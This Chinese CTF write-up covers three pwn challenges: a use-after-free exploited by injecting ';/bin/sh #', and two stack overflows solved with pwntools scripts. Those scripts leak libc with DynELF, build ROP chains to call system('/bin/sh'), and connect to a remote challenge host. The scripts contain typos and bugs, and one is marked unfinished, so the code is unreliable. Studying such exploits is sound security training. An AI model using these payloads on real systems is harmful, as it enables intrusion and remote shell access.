time_formatter
Unix是20世纪70年代初出现的一个操作系统,除了作为网络操作系统之外,还可以作为单机操作系统使用。Unix作为一种开发平台和台式操作系统获得了广泛使用,目前主要用于工程应用和科学计算等领域。
再补上保护措施!
既然知道了保护措施,我们再来看看函数!
C 库函数 size_t strspn(const char *str1, const char *str2) 检索字符串 str1 中第一个不在字符串 str2 中出现的字符下标。
strdup()函数是c语言中常用的一种字符串拷贝库函数,一般和free()函数成对出现。
getenv是函数名,从环境中取字符串,获取环境变量的值,getenv()用来取得参数envvar环境变量的内容。参数envvar为环境变量的名称,如果该变量存在则会返回指向该内容的指针。
setenv(改变或增加环境变量),相关函数 getenv,putenv,unsetenv。
C 库函数 size_t strcspn(const char *str1, const char *str2) 检索字符串 str1 开头连续有几个字符都不含字符串 str2 中的字符。
这道题用到了UAF!
当应用程序调用free()释放内存时,如果内存块小于256kb,dlmalloc并不马上将内存块释放回内存,而是将内存块标记为空闲状态。
这么做的原因有两个:一是内存块不一定能马上释放会内核(比如内存块不是位于堆顶端),
二是供应用程序下次申请内存使用(这是主要原因)。
当dlmalloc中空闲内存量达到一定值时dlmalloc才将空闲内存释放会内核。
如果应用程序申请的内存大于256kb,dlmalloc调用mmap()向内核申请一块内存,返回返还给应用程序使用。
如果应用程序释放的内存大于256kb,dlmalloc马上调用munmap()释放内存。
dlmalloc不会缓存大于256kb的内存块,因为这样的内存块太大了,最好不要长期占用这么大的内存资源。
用我们能听懂的话就是说“这里有块地,种上了稻米,然后主人把这块地给卖了,但由于地太小,还种着稻米,新的主人没有改变!”
选择3
选择4
选择5
第一种解法:
选择1->%s->选择5->选择3->’;/bin/sh #->选择4
第二种解法:
选择1->%s->选择3->;/bin/sh #->选择5->选择3->’;/bin/sh #->选择4
前面的;/和’;脚本的解释器程序路径。
也可以写个脚本!
开始手动!
这里有点不好!就是手动的时候容易出错。
pwn-200
用ida打开发现主函数很简单!(越简单的主函数说面越难!)
发现开启的NX保护,说明我们不能往栈上写shellcode。
不过我们再来分析一下主函数。
ROPgadget是一个工具,用来查找gadget(ROPgadget --binary ./pwnme --only “pop|ret” )或者用DeyELF这个来进行查找。
这道题原先想用read输入到bss段上/bin/sh字符,但可惜不行。
ssize_t write(int fd, const void *buf, size_t nbyte);
fd:文件描述符;
buf:指定的缓冲区,即指针,指向一段内存单元;
nbyte:要写入文件指定的字节数;
ssize_t read [1] (int fd, void *buf, size_t count);
这里便可以使用DynELF这个函数来进行泄露libc的地址,从而知道libc。利用libc中的system(’/bin/sh’);函数来达到攻击!
def lead(address):
payload = b'a'+(0x6c+0x4)+p32(write_addr)+p32(real_read)+p32(1)+p32(address)+p32(4)
r.send(payload)
data = r.recv(4)
return data
dyn = DynELF(leak,elf=ELF('./bed0c68697f74e649f3e1c64ff7838b8'))
主要是通过DynELF来泄露libc,然后通过libc里面的函数进行构造函数达到控制主机。
from pwn import *
#context.log_level = 'debug'
r = remote('111.200.241.244',65121)
#r = process('./pwn200')
elf = ELF('./bed0c68697f74e649f3e1c64ff7838b8')
start_addr = 0x080483d0#开始地址
write_addr = elf.symbols['write']
read_addr = elf.symbols['read']
real_read = 0x08048484#真实的read地址
def leak(address):#泄露函数
payload = b'a'+(0x6c+0x4)+p32(write_addr)+p32(real_read)+p32(1)+p32(address)+p32(4)
r.send(payload)
data = r.recv(4)
return data
r,recv()
dyn = DynELF(leak,elf=ELF('./bed0c68697f74e649f3e1c64ff7838b8'))
system_addr = dyn.lookup("system",'libc')#system函数地址
payload = b'a'*(0x6c+0x4)+p32(start_addr)
r.send(payload)#重新开始函数
r.recv()
pop_addr = 0x0804856c
bss_addr = elc.bss()#bss段
payload = b'a'*(0x6c+0x4)+p32(read_addr)+p32(pop_addr)+p32(0)+p32(bss_addr)+p32(8)#返回read函数,并传参
payload += p32(system_addr)+p32(real_read)+p32(bss_addr)#执行system函数
r.send(payload)#写入
r.send(str('/bin/sh'))#将特殊字符串写入
r.interactive()#开始控制
pwn-100(未完)
直接看源码!
进去stack_overflow函数里面看看栈溢出。
然后漏洞很简单,看一下保护措施。
并且没有后门函数,所以可以构造ROP链来进攻。
发现了pop指令,可以传参,接着找找万能ROP链。
然后经过pwndbg调试发现了一个可读可写的地址,这样我们就可以利用read函数写入"/bin/sh"这个特殊字符串了。
整理一下。
from pwn import *
#context.log_level = 'debug'
elf = ELF('./bee9f73f50d2487e911da791273ae5a3')
r = remote('111.200.241.244',50986)
#r = process('./')
start_addr = 0x0400550#开始地址
real_read = 0x040063d#read地址
puts_addr = elf.symbols['puts']#puts地址
pop_addr = 0x400763#pop rdi|ret
binsh_addr = 0x060197c#可读可写的地址
def leak(address):#泄露函数
payload = b'a'*0x48+p64(pop_addr)+p64(address)+p64(puts_addr)+p64(start_addr)
payload = payload.ljust(200,b'a')
r.send(payload)
r.recvuntil('bye~\n')
data = r.recv(8)
r.recv(4)#时间较长,容易报错
return data
rop1 = 0x0400756#rop链
rop2 = 0x0400740
dyn = DynELF(leak,elf=ELF('./bee9f73f50d2487e911da791273ae5a3'))
system_addr = dun.lookup("system",'libc')
payload = b'a'*0x48 + p64(rop1)
payload += p64(0)#rbx
payload += p64(1)#
payload += p64(real_read)#rbp
payload += p64(8)#rdx
payload += p64(binsh_addr)#rsi
payload += p64(0)#edi
payload += p64(rop2)#
payload = payload.ljust(200,b'a')#padding填充
r.send(payload)
r.recvuntil('bye~\n')
r.send(str("/bin/sh"))#‘/bin/sh\x00’
payload = b'a'*0x48
payload += p64(pop_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)#调用system
payload = payload.ljust(200,b'a')
r.send(payload)
r.interactive()
注:该代码未完成,仅供参考